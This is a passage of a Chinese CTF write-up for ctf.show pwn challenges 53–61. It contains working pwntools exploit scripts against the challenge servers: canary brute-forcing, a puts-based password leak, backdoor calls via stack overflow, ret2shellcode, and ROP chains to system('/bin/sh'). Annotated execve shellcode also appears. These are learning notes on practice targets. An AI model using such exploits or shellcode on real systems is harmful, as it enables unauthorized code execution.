for i in range(4):
for guess in range(256): # 单字节范围
p = remote("pwn.challenge.ctf.show",28299)
p.sendlineafter('>','200') # >提示符后发送'200'并自动补换行符
payload = cyclic(0x30 - 0x10) + canary + p8(guess) # 先把栈填充到 canary 起始位置
p.sendafter('$ ',payload) # 不补 \n,因为程序 read 只认长度不认换行
answer = str(p.recv()) # 转成字符串后方便关键字匹配。
# 小坑:如果远端输出里有 \x00 或大量数据,str() 会把 bytes 的 \x?? 直接转成对应 ASCII 字符,可能误判;实战里用 answer = p.recvall() 再 in b'Canary Value Incorrect!' 更安全。

if "Canary Value Incorrect!" not in answer:
canary += p8(guess)
break
else:
p.close()
p = remote('pwn.challenge.ctf.show',28299)
elf = ELF('./pwn')
flag = elf.sym['flag'] # 本地解析二进制,拿 flag 函数地址
payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)
p.sendlineafter('>','-1') # 程序里 sscanf 把 -1 当成 0xffffffff(无符号 huge),read 会尝试读 4 GB,实际只受 socket 缓存限制,足够我们 44 字节 payload 完整进去,让远端 read 不截断
p.sendafter('$ ',payload)
p.interactive() # 交互模式

pwn54

  • 再近一点靠近点快被融化

alt text

  • 32位+后门函数
  • 但是后门函数调用有条件,直接尝试满足条件
  • strcmp函数
  • puts函数会输出数组直到遇到\0,寻找方向是从内存低地址到高地址,在ida中显示为向下

alt text

  • 利用内存存储位置相连和puts特性输出密码
  • 把v5塞满,比如输入256个’a’

alt text

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64

io = remote("pwn.challenge.ctf.show",28293)
payload = b'a'*256
io.sendlineafter(b'Username:',payload)

io.recvuntil(b',')
password = io.recv()
print(f'password is {password.decode()}')
io.close()

io = remote("pwn.challenge.ctf.show",28293)
io.sendlineafter(b'Username:',b'666')
io.sendline(password)

io.interactive()

pwn55

  • 你是我的谁,我的我是你的谁

alt text

  • 后门函数

alt text

  • 要满足条件(&& 代表逻辑与)

alt text

  • 调用下该函数就行

alt text

  • 调用并输入指定参数

  • 下面这个是meiyouqian学长的脚本

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28236)
flag1=0x08048586
flag2=0x0804859D
flag=0x8048606
padding=0x2C+4
payload=b"a"*padding+p32(flag1)+p32(flag2)+p32(flag)+p32(0xACACACAC)+p32(0xBDBDBDBD)
io.sendline(payload)
io.interactive()
  • 这里主要利用:
    • 每当一个函数通过 ret 被调用,栈顶(ESP)就会向上移动 4 个字节
    • 函数地址后依次视为:返回地址、第一个参数、第二个参数…

改进点:

elf = ELF('./pwn') # 只需要知道函数名就可以自动获得地址
...
flag1_addr = elf.sym['flag_func1']
flag2_addr = elf.sym['flag_func2']
flag_addr = elf.sym['flag']

payload = flat([cyclic(padding),flag1_addr,flag2_addr,flag_addr,-1397969748,-1111638595])
# 可以使用伪代码中的十进制(虽然这种不一定算改进,但存档方法)

瞎联想:

  • 如果flag1需要参数或者其他函数需要多个参数:
from pwn import *

# 假设你已经在 gr310 环境下
elf = ELF('./pwn')

# 自动寻找 Gadget 的地址
# 你也可以在终端用 ROPgadget --binary pwn --only "pop|ret" 找
pop_ret = 0x0804xxxx # 指向指令: pop ebp; ret
pop_pop_ret = 0x0804yyyy # 指向指令: pop ebx; pop ebp; ret

padding = 0x2C + 4 #

payload = flat([
cyclic(padding),

# 第一站: func1
elf.sym['func1'],
pop_ret, # func1 的返回地址:跳去清理参数
0xAAAA, # func1 的第一个参数

# 第二站: func2
elf.sym['func2'],
pop_pop_ret, # func2 的返回地址:跳去清理两个参数
0xBBBB, # func2 的第一个参数
0xCCCC, # func2 的第二个参数

# 第三站: flag
elf.sym['flag'],
0xdeadbeef, # flag 的返回地址(最后一站,随便填)
0xDDDD # flag 的第一个参数
])
  • 如果64位呢?
  • 在 32 位中,你只需要考虑栈的顺序。但在 64 位(Linux 环境下常用的 System V AMD64 ABI 约定)中,函数的前 6 个参数必须依次放入以下寄存器:
RDI (第一个参数)
RSI (第二个参数)
RDX (第三个参数)
RCX (第四个参数)
R8 (第五个参数)
R9 (第六个参数)
  • 只有当参数超过 6 个时,才会开始使用栈传参。
  • Payload 构造顺序: padding + p64(pop_rdi_ret) + p64(arg1) + p64(pop_rsi_ret) + p64(arg2) + p64(func)
  • 逻辑:
    • 先用 pop rdi 把 arg1 填好。
    • 再用 pop rsi 把 arg2 填好。
    • 最后 ret 到 func 执行。
  • 特殊情况:复合 Gadget
    • 如果你运气好,找到了一个 pop rdi; pop rsi; ret 这样的连在一起的指令,Payload 会更短: padding + p64(pop_rdi_rsi_ret) + p64(arg1) + p64(arg2) + p64(func)
payload = flat([
b'A' * padding,

# 设置 func1 的参数并调用
p64(pop_rdi_ret),
0x111,
p64(elf.sym['func1']),

# func1 返回时,栈顶必须是下一个 Gadget
p64(pop_rdi_ret), # 设置 func2 的第一个参数
0x222,
p64(pop_rsi_ret), # 设置 func2 的第二个参数
0x333,
p64(elf.sym['func2'])
])
  • 利用 Pwntools ROP 模块自动连接!!!!
  • 64位
from pwn import *

elf = ELF('./pwn')
rop = ROP(elf)

# 像写 Python 函数一样连接它们
# pwntools 会自动寻找 pop rdi, pop rsi 等 gadgets
# 并且会自动处理函数之间的连接和栈对齐(ret 补丁)
rop.func1(0x111)
rop.func2(0x222, 0x333)
rop.system(next(elf.search(b'/bin/sh')))

print(rop.dump()) # 强烈建议打印出来看,它展示了完美的栈布局

payload = b'A' * padding + rop.chain()
  • 32位
from pwn import *

# 1. 加载 32 位二进制文件
elf = ELF('./pwn')
rop = ROP(elf)

# 2. 设置 Padding(根据你之前的计算,例如 0x2C+4)
padding_size = 0x2C + 4

# 3. 像写 Python 函数一样连接它们
# pwntools 会自动:
# - 识别到这是 32 位,改用栈传参
# - 寻找 'pop; ret' 这种 Gadget 来清理 func1 的参数,以便跳入 func2
# - 寻找 'pop; pop; ret' 来清理 func2 的两个参数
rop.func1(0x111)
rop.func2(0x222, 0x333)

# 查找 /bin/sh 字符串地址并调用 system
bin_sh = next(elf.search(b'/bin/sh'))
rop.system(bin_sh)

# 4. 打印布局(这是理解 32 位链式调用的最佳方式)
print("--- 自动生成的 32 位 ROP 链布局 ---")
print(rop.dump())

# 5. 生成最终 Payload
payload = b'A' * padding_size + rop.chain()
  • 所以难道可以这样?:
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28209)

elf = ELF('./pwn')
rop = ROP(elf)
padding=0x2C+4

rop.flag_func1()
rop.flag_func2(0xACACACAC)
rop.flag(0xBDBDBDBD)

print("--- 自动生成的 32 位 ROP 链布局 ---")
print(rop.dump())

payload = b'A' * padding + rop.chain()
io.sendline(payload)
io.interactive()
  • 啊哈但是这道题目没有pop嘿嘿(服了

pwn56

  • 先了解一下简单的32位shellcode吧

alt text

  • 静态什么保护都没有

alt text

  1. 为什么是反着压栈?(栈的 LIFO 特性)
    在 x86 架构中,栈是 向下增长 的(从高地址向低地址增长),而数据读取通常是从 低地址向高地址 进行的。
  2. 为什么要写成 /bin///sh?(避免空字节 Null Bytes)
    在很多溢出漏洞(如 strcpy 引起的溢出)中,00 (Null Byte) 会截断字符串,导致你的 Payload 无法完整注入。
    • 标准的 /bin/sh 只有 7 个字符。如果直接压栈,编译器会自动补 00 来凑齐 4 字节的倍数(dword),这会产生空字节。
    • 黑客技巧:Linux 的路径解析器会自动忽略多余的斜杠。/bin/sh 等同于 /bin//sh 也等同于 /bin///sh。
    • 通过增加斜杠,将字符串长度凑成 4 的倍数
    • 为什么:00 (Null Byte) 会截断字符串
      • 在 C 语言中,并没有专门的“字符串”基本类型,字符串本质上是一个 字符数组 (char[])。为了让程序知道这个字符串在哪里结束,C 语言约定使用 0x00(ASCII 码中的 NULL 字符) 作为结束标志
      • 绝大多数常用的字符串处理函数(如 strcpy, strlen, printf, gets, scanf 等)都是基于“扫描到 0x00 为止”的逻辑编写的
  3. 为什么分开/bin///sh
    • push ‘h’:在汇编中,push 0x68 的机器码是 6A 68。这只有两个字节,完全不含 00。
    • 如果直接 push “/bin/sh”,机器码里必然会出现大量 00
  4. mov ebx, esp:确定“靶点”
    • esp 始终指向栈顶。在执行完三次 push 后,esp 恰好指向了字符串 /bin///sh 的开头(即字符 /)。
    • execve 的第一个参数(存储在 ebx 中)需要一个 指向文件路径字符串的指针。
    • 所以执行 mov ebx, esp,就是把当前字符串在内存中的地址交给了 ebx。
  5. push 0Bh; pop eax:寻找系统功能号
    • 查阅 Linux x86 Syscall Table。
    • 找到 sys_execve(用于执行程序的系统调用),它的系统调用号是 11。
    • 十六进制中,11 就是 0xB。
    • 避坑分析:为什么不直接用 mov eax, 0Bh?因为 mov eax, 11 的机器码是 B8 0B 00 00 00,含有大量空字节。而 push 0Bh; pop eax 的机器码是 6A 0B 58,非常精简且无空字节。

pwn57

  • 先了解一下简单的64位shellcode吧
文件类型: ELF64 (x86-64 可执行文件)
编译器: GNU C++ (实际手写汇编)
源代码: 'shellcode.asm'
属性: noreturn (不会正常返回,执行syscall后进程转变)
功能: 执行 execve("/bin/sh", NULL, NULL) 获取交互式shell

proc near ; 程序入口点,类似 main
push rax ; [栈对齐] 压入 rax 使栈对齐16字节
xor rdx, rdx ; [envp] 清零 rdx,设置环境变量指针为 NULL
xor rsi, rsi ; [argv] 清零 rsi,设置参数数组为 NULL
mov rbx, 68732F2F6E69622Fh ; [字符串] rbx = "/bin//sh" 的ASCII十六进制
; 小端序: 0x6E69622F="/bin", 0x68732F2F="//sh"
push rbx ; [压栈] 将 "/bin//sh" 压入栈,rsp指向该字符串
push rsp ; [取地址] 压入 rsp(字符串地址),准备传给 rdi
pop rdi ; [pathname] rdi = &("/bin/sh"),第一个参数
mov al, 3Bh ; ';' ; [系统调用号] al = 0x3B (59) = __NR_execve
syscall ; [执行] 调用 execve("/bin/sh", NULL, NULL)
; 成功后当前进程替换为 /bin/sh,失败则返回
endp
ends

pwn58

  • 32位 无限制

alt text

  • ai教我下呜呜呜
  • Ret2Shellcode类型
  • 漏洞点 :程序使用了 gets 函数,它不检查输入长度,允许我们向栈上的缓冲区写入任意数据。
  • 利用点 :程序在写入数据后,竟然主动调用了这段数据的地址( call eax )。
  • 结论 :我们不需要计算复杂的偏移量去覆盖返回地址,只需要把 Shellcode (一段获取 Shell 的机器码)发送过去,程序就会自己跳过去执行它。
sub     esp, 0Ch        ; 调整栈顶准备传参
lea eax, [ebp+s] ; 【关键1】获取栈上局部变量 s 的地址 (s 是一个缓冲区)
push eax ; 将 s 的地址压栈,作为 ctfshow 的参数
call ctfshow ; 【关键2】调用 ctfshow 函数
; (根据之前分析,ctfshow 内部调用了 gets(s),
; 允许你往 s 指向的栈空间写入任意数据,如 Shellcode)
add esp, 10h ; 平衡堆栈
lea eax, [ebp+s] ; 【关键3】再次获取变量 s 的地址,放入 eax
call eax ; 【关键4】直接调用 eax!!!
; 这意味着 CPU 会跳转到 s 的地址去执行代码。
; 因为刚才你通过 ctfshow 往 s 里写了 Shellcode,
; 这里就会直接运行你的 Shellcode。
  • ok理解了耶
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28118)
shellcode=asm(shellcraft.sh()) # 这个最好在Linux上运行window配环境很麻烦
io.sendline(shellcode)
io.interactive()

pwn59

  • 64位 无限制

alt text

from pwn import *
context.log_level="debug"
context.arch='amd64' # !!!标注64位,默认32位
io=remote("pwn.challenge.ctf.show",28288)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

pwn60

  • 入门难度shellcode

alt text

  • 32位什么也没开

alt text

  • 确认buf2可写
gdb pwn
break main
run
vmmap

alt text

  • root好像装了个可以
gdb pwn
break main
run
vmmap
cyclic 200
r < <(echo 'aaaabaaacaaadaaae...')
c

info registers eip
cyclic -l 0x62616164 # 这个地址上一个命令或者ccc看到Invalid address

alt text

  • 找到偏移量112
  • 从输入数据的第 1 个字节到覆盖返回地址之间的距离是 112 字节
from pwn import *
context.log_level ="debug"
context.arch = "i386"
io=remote("pwn.challenge.ctf.show",28150)
buf_addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b"a")+p32(buf_addr)
io.sendline(payload)
io.interactive()

pwn61

  • 输出了什么?

alt text

  • pie:基址不固定了

alt text

此外这边调用完gets函数之后啊,main函数下边有个leave
leave的作用相当于MOV SP,BP; POP BP
因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节。

参考